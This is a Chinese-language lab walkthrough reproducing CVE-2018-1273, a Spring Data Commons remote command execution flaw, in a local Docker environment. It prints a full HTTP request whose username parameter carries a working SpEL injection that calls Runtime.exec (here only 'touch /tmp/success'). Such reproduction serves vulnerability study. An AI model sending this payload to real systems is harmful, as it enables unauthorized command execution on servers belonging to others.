Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）复现

1.通过"docker-compose build"和"docker-compose up -d"拉取环境

刚开始直接敲命令docker-compose build出错，最后发现是未启动docker，所以通过systemctl start docker命令启动docker

2.访问服务器ip:8080/users看环境是否成功

3.注册时抓包，并修改成如下数据包：

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

4.查看是否成功

执行docker-compose exec spring bash进入容器中，可见成功创建/tmp/success，说明成功了

5.退出并关闭docker环境

先exit，再输入sudo docker-compose down